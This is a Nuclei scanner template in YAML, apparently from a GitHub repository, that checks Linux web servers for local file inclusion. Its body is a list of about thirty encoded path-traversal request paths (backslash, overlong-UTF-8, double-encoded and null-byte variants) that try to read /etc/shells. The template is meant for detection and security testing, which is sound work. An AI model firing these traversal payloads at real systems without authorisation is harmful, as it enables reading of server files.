-
Notifications
You must be signed in to change notification settings - Fork 25
/
0xlfi2.yaml
62 lines (59 loc) · 2.82 KB
/
0xlfi2.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
id: generic-linux-lfi
info:
name: Generic Linux - Local File Inclusion
author: 0x71rex
severity: high
description: Generic Linux is subject to local file Inclusion on searches for /etc/shells on passed URLs.
reference: https://github.com/imhunterand/ApachSAL/blob/main/assets/exploits.json
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-22
metadata:
max-request: 32
tags: linux,lfi,generic
http:
- method: GET
path:
- "{{BaseURL}}/etc/shells"
- "{{BaseURL}}/..%5cetc/shells"
- "{{BaseURL}}/..%5c..%5cetc/shells"
- "{{BaseURL}}/..%5c..%5c..%5cetc/shells"
- "{{BaseURL}}/..%5c..%5c..%5c..%5cetc/shells"
- "{{BaseURL}}/..%5c..%5c..%5c..%5c..%5cetc/shells"
- "{{BaseURL}}/..%5c..%5c..%5c..%5c..%5c..%5cetc/shells"
- "{{BaseURL}}/..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc/shells"
- "{{BaseURL}}/static/..%5cetc/shells"
- "{{BaseURL}}/static/..%5c..%5cetc/shells"
- "{{BaseURL}}/static/..%5c..%5c..%5cetc/shells"
- "{{BaseURL}}/static/..%5c..%5c..%5c..%5cetc/shells"
- "{{BaseURL}}/static/..%5c..%5c..%5c..%5c..%5cetc/shells"
- "{{BaseURL}}/static/..%5c..%5c..%5c..%5c..%5c..%5cetc/shells"
- "{{BaseURL}}/static/..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc/shells"
- "{{BaseURL}}/./../../../../../../../../../../etc/shells"
- "{{BaseURL}}/%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2eetc/shells"
- "{{BaseURL}}/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cetc/shells"
- "{{BaseURL}}/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./etc/shells"
- "{{BaseURL}}/..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5cetc/shells"
- "{{BaseURL}}/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/shells"
- "{{BaseURL}}/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/etc/shells"
- "{{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/shells"
- "{{BaseURL}}/..///////..////..//////etc/shells"
- "{{BaseURL}}/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/shells"
- "{{BaseURL}}/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/shells"
- "{{BaseURL}}/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/shells%00"
- "{{BaseURL}}/index.php?page=etc/shells"
- "{{BaseURL}}/index.php?page=etc/shells%00"
- "{{BaseURL}}/index.php?page=../../etc/shells"
- "{{BaseURL}}/index.php?page=....//....//etc/shells"
- "{{BaseURL}}/../../../../../../../../../etc/shells"
stop-at-first-match: true
matchers:
- type: word
words:
- "# valid login shells"
- "/bin/sh"
- "/bin/ash"
- "/bin/bash"
condition: and
part: body